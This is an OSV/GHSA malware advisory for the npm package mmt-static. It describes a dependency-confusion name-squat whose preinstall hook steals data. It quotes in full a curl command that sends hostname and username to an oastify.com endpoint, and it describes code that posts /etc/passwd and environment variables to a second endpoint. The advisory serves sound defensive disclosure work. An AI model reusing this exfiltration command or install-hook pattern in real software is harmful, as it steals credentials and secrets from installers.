MAL-2026-4612

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Import Source
https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/mmt-static/MAL-2026-4612.json
JSON Data
https://api.osv.dev/v1/vulns/MAL-2026-4612
Aliases
  • GHSA-3c6q-cfmj-gmcf
Published
2026-05-22T18:12:32Z
Modified
2026-05-29T23:01:59.035801761Z
Summary
Malicious code in mmt-static (npm)
Details

-= Per source details. Do not edit below this line.=-

Source: amazon-inspector (755d0176c106903bf2baaf14d0bb4df611bb719c2a7b0615e9b4487eadee1300)

On npm install, the package's preinstall lifecycle hook executes node index.js && curl --data-urlencode "info=$(hostname && whoami)" http://8irluql1d21jmq8tr5n5fyoxjopfdd12.oastify.com/nasa/mmt-static. index.js reads /etc/passwd, collects os.hostname(), os.platform(), os.userInfo().username, current working directory, and the first 30 entries of process.env, then POSTs the JSON payload to https://3nrgzlqwix6erldow0s0kttsojuai36s.oastify.com/nasa/mmt-static/<id>. The package additionally exhibits dependency-confusion shape: its description claims to be an AWS internal CDK package (cdk-sagemaker-notebook-workflow) and the README contains Takeover By l0bo, indicating an intentional name-squat against an AWS-internal namespace. Installing this package leaks the installer's hostname, username, local user database, working directory, and environment variables (which commonly contain CI/CD secrets, cloud credentials, and tokens) to attacker-controlled Burp Collaborator (oastify.com) endpoints.

Source: ghsa-malware (8459650553ee494191b0a2f03104e537518003f05ab481da8256157746c79c33)

Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.

Database specific 
{
    "malicious-packages-origins": [
        {
            "id": "IN-MAL-2026-004236",
            "import_time": "2026-05-26T05:52:12.631561805Z",
            "sha256": "755d0176c106903bf2baaf14d0bb4df611bb719c2a7b0615e9b4487eadee1300",
            "source": "amazon-inspector",
            "modified_time": "2026-05-22T18:12:32Z",
            "versions": [
                "1.0.0"
            ]
        },
        {
            "ranges": [
                {
                    "type": "SEMVER",
                    "events": [
                        {
                            "introduced": "0"
                        }
                    ]
                }
            ],
            "id": "GHSA-3c6q-cfmj-gmcf",
            "import_time": "2026-05-29T22:44:05.955876138Z",
            "sha256": "8459650553ee494191b0a2f03104e537518003f05ab481da8256157746c79c33",
            "source": "ghsa-malware",
            "modified_time": "2026-05-29T22:02:53Z"
        }
    ]
}
References
Credits

Affected packages

npm / mmt-static

Package

Name
mmt-static
View open source insights on deps.dev
Purl
pkg:npm/mmt-static

Affected ranges

Type
SEMVER
Events
Introduced
0Unknown introduced version / All previous versions are affected

Affected versions

1.*
1.0.0

Database specific

cwes 
[
    {
        "description": "The product contains code that appears to be malicious in nature.",
        "name": "Embedded Malicious Code",
        "cweId": "CWE-506"
    },
    {
        "cweId": "CWE-506",
        "name": "Embedded Malicious Code",
        "description": "The product contains code that appears to be malicious in nature."
    }
]
source 
"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/mmt-static/MAL-2026-4612.json"
indicators 
{
    "evidence_files": [
        {
            "path": "package.json",
            "sha256": "f3f287ef6543006d4ffda74f17753517a464683302f975972efad579060a5e04",
            "tlsh": "67f08b280ab2d37326c10ba0b8e941a6e3a11aa750b57c5cd2c7442c429e9e309be648"
        },
        {
            "path": "index.js",
            "sha256": "5b2f3076387e1e8fdb7b8cfe60d988106ff78832050671f67f53b4a23500a6fa",
            "tlsh": "89412e9424fa953476f36d81b18359237b63f7123806f5e0badc03894bc9be41172af9"
        }
    ],
    "package_integrity": [
        {
            "filename": "mmt-static-1.0.0.tgz",
            "hashes": {
                "sha512_sri": "sha512-QZP3pdFsZzZKRPzB+AMs9zSwsu97N71yC1lEP+enYRFCuMHD/t45z0HuMXXDdO1/igSvsJ7dJRNgNT6AbFEVMg==",
                "sha1": "7ad9acc95a88435e69c74fa99eb774c5162cf61c"
            }
        }
    ]
}